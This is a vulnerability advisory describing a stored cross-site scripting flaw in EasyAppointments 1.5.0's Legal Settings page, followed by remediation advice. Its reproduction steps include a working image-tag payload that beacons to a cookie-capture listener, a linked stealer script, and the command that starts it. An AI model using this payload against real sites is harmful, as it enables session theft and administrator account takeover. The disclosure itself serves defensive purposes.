Description

EasyAppointments 1.5.0 is vulnerable to stored cross-site scripting (XSS) via the Legal Settings editor at /index.php/legal_settings.
Custom “policy” fields (e.g., Cookie Policy) accept HTML that is executed whenever the settings page loads. Because the payload is stored, subsequent visits to the page trigger the attacker-controlled code, enabling session theft and account takeover in the administrator’s browser.

Vulnerability Details

The Legal Settings page persists rich HTML without adequate sanitization. When the page is later viewed, the editor renders and executes the stored content rather than treating it as inert text.
If an attacker can place malicious HTML (e.g., <img> with an external src that beacons cookies/tokens), every visit to the Legal Settings page executes that content in the EasyAppointments origin, allowing credential/session exfiltration or privileged actions via the admin’s session.

Steps to Reproduce

1. Prepare a capture endpoint (cookie stealer).
   Use the PHP listener from your gist:
   https://gist.github.com/0xHamy/b2674eeffd1f73af96d29f152c47bcbd
   Start it:

   php -S 0.0.0.0:1718
   

2. Log in to the admin panel.
   Navigate to:

   /index.php/legal_settings
   

3. Insert a stored XSS payload in a policy field.
   In the Cookies (or any policy) field, switch the editor to “embed code/source” mode and insert:

   <img src="http://127.0.0.1:1718/capture.php">
   

4. Trigger and observe.
   Reload or revisit the Legal Settings page. Each load requests the attacker’s URL, enabling cookie/session exfiltration (demonstrated via capture.php). With suitable payloads, this can lead to admin account takeover.

Recommendation

• Sanitize policy fields using an allow-list HTML sanitizer; strip dangerous tags/attributes (e.g., scripts, event handlers, external loads).
• Render content safely (e.g., treat as inert/escaped HTML in edit views; only allow a safe subset when displaying).
• Harden with CSP (disallow inline scripts; restrict img-src/connect-src to trusted origins).
• Limit who can edit legal content and add change auditing/preview to catch malicious inserts.